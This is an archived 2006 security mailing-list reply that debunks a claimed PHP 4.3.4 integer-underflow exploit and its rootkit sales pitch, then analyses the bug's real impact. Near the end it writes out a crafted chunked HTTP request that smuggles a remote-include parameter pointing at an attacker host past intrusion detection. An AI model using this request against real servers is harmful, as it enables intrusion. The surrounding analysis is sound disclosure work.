[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <4466766E.1040702@kc.rr.com>
Date: Sun May 14 01:13:18 2006
From: mattmurphy at kc.rr.com (Matthew Murphy)
Subject: [ADVISORY] Remote Integer Underflow PHP 4.3.4
Vulnerability -BanSec Industries
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
MR BABS wrote:
> It is possible to make read_bytes negative and not trigger
> the conditional statement 'if (read_bytes<=0)'. This is possible
> because read_bytes is an unsigned integer.... as get_client_block
> can be made to return a negative value. Correct exploitation of
> this vulnerability can result in the execution of arbitrary code,
> BanSec Industries has sucessfully constructed an exploit for this
> vulnerability, and as such are offering it for $20,000 USD.
>
> We have already provided the blackhats with a working exploit
> however we've also provided them with our new BanKit, a kernel
> mode linux rootkit, so you won't notice you've been hacked.
It would be pathetic if someone "buys" this non-existent "exploit". As
opposed to most BanTown fakes, there's actually some use for this one,
though.
There's no exploit involved, here, because you can't use this bug to
underrun the receive buffer. This is because of this check at the top
of the loop:
while (total_read_bytes<count_bytes)
Had get_client_block returned -1, that would decrement the
total_read_bytes value by one. In order to do anything other than write
to a different offset of the receive buffer, you'd have to wrap that
value around zero with one of these decrements, making it -1
(0xFFFFFFFF). That value, even when unsigned, is far greater than the
count_bytes maximum of SAPI_POST_BLOCK_SIZE (4,000).
When the loop is broken, sapi_apache_read_post() returns -1 to the
caller in SAPI.c, which *DOES* properly check for a signed (negative)
result code.
It looks like the worst this can be used for is IDS evasion -- assuming
your IDS does HTTP chunk reassembly:
POST /somescript.php HTTP/1.1
Host: somesite.com
Transfer-Encoding: chunked
1
A
DEADBEEF
18
somevar=http://attacker/
Most IDSes will pick this up as an invalid chunked transfer -- which it
is. However, in this case, it also carries a remote include exploit
that your IDS might miss. To stick with current terminology, we'll call
it "payload smuggling".
The first call to get_client_block() will read the one-byte 'A' chunk.
The second call to get_client_block() will read the invalid chunk size
and then fail, returning -1.
The third call will then read from the client's buffer starting at the
next line. It will pull in the following chunk starting at offset zero
of the buffer:
somevar=http://attacker/
Odds are, you'll see an IDS alert on the invalid chunking attempt. Your
IDS may even flag this request as an attempt to exploit CVE-2002-0392 --
the old Apache chunked encoding vulnerability. Indeed, servers
vulnerable to CVE-2002-0392 will fail when faced with this attack. That
said, if you're still running < 1.3.26 versions of Apache, you have FAR
greater concerns than being DoSed by a poor excuse for an IDS evasion
attempt.
-----BEGIN PGP SIGNATURE-----
Version: PGP Desktop 9.0.6 (Build 6060)
iQA/AwUBRGZ2dn6eL1K1RE04EQKr1QCeNmS1XfIM3tbc0cSiMfO9q62il/IAnR9C
7/WnTXsHDrowzRkX0LgREu7M
=GDwH
-----END PGP SIGNATURE-----
Powered by blists - more mailing lists